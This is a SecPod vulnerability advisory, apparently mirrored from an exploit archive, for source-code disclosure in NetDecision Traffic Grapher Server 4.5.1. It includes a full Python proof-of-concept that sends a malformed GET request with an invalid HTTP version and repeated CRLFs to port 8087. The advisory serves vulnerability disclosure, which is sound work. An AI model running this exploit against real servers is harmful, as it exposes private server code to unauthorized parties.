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Netmechanica NetDecision Traffic Grapher Server Information Disclosure
############################################################################## # # Title : Netmechanica NetDecision Traffic Grapher Server Information # Disclosure Vulnerability # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com) # Vendor : http://www.netmechanica.com # Advisory : http://secpod.org/blog/?p=481 # http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_Vuln.txt # http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py # Software : Netmechanica NetDecision Traffic Grapher Server version 4.5.1 # Date : 06/12/2011 # ############################################################################### SecPod ID: 1039 05/12/2011 Issue Discovered 21/02/2012 Vendor Notified 22/02/2012 Vendor Acknowledge 24/02/2012 Issue Resolved Class: Information Disclosure Severity: High Overview: --------- Netmechanica NetDecision Traffic Grapher Server version 4.5.1 is prone to source code information disclosure vulnerability. Technical Description: ---------------------- The vulnerability is caused due to improper validation of malicious HTTP GET request to Traffic Grapher Server 'default.nd' with invalid HTTP version number followed by multiple 'CRLF', which discloses the source code of 'default.nd' Impact: -------- Successful exploitation could allow an attacker to cause disclosure of sensitive information. Affected Software: ------------------ NetDecision 4.5.1 (full package) Traffic Grapher Server version 4.5.1 Tested on: ----------- NetDecision 4.5.1 (full package) Traffic Grapher Server version 4.5.1 on Windows XP SP3 & Win XP2. Older versions might be affected. References: ----------- http://secpod.org/blog/?p=481 http://www.netmechanica.com/downloads http://www.netmechanica.com/news/?news_id=26 Proof of Concept: ---------------- http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py Vendor URL: ---------------- http://www.netmechanica.com http://www.netmechanica.com/news/?news_id=26 Solution: ---------- Upgrade to NetDecision 4.6.1 Risk Factor: ------------- CVSS Score Report: ACCESS_VECTOR = NETWORK ACCESS_COMPLEXITY = LOW AUTHENTICATION = NOT_REQUIRED CONFIDENTIALITY_IMPACT = COMPLETE INTEGRITY_IMPACT = NONE AVAILABILITY_IMPACT = NONE EXPLOITABILITY = PROOF_OF_CONCEPT REMEDIATION_LEVEL = UNAVAILABLE REPORT_CONFIDENCE = CONFIRMED CVSS Base Score = 8 (AV:N/AC:L/Au:N/C:C/I:N/A:N) Risk factor = High Credits: -------- Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this vulnerability. #!/usr/bin/python ############################################################################## # # Title : Netmechanica NetDecision Traffic Grapher Server Information # Disclosure Vulnerability # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com) # Vendor : http://www.netmechanica.com # Advisory : http://secpod.org/blog/?p=481 # http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_Vuln.txt # http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py # Software : Netmechanica NetDecision Traffic Grapher Server version 4.5.1 # Date : 06/12/2011 # ############################################################################### import socket,sys,time if len(sys.argv) < 2: print "\t[-] Usage: python SecPod_Exploit_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc.py target_ip" print "\t[-] Example : python SecPod_Exploit_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc.py 127.0.0.1" print "\t[-] Exiting..." sys.exit(0) port = 8087 target = sys.argv[1] try: socket.inet_aton(target) except socket.error: print "Invalid IP address found ..." sys.exit(1) try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((target,port)) time.sleep(1) except: print "socket() failed" sys.exit(1) exploit = "GET " + "/test.nd" + " HTTP/-1111111"+"\r\n\r\n" print "HTTP GET request for /default.nd with invalid HTTP version triggers"+\ " the vulnerability" data = exploit sock.sendto(data, (target, port)) for i in range(1,10): sock.sendto("\r\n",(target, port)) time.sleep(1) time.sleep(10) res = sock.recv(10000) sock.close() print "[+] Source Code of Netdecision Traffice Grapher Server : \r\n" print res sys.exit(1) # 0day.today [2024-12-24] #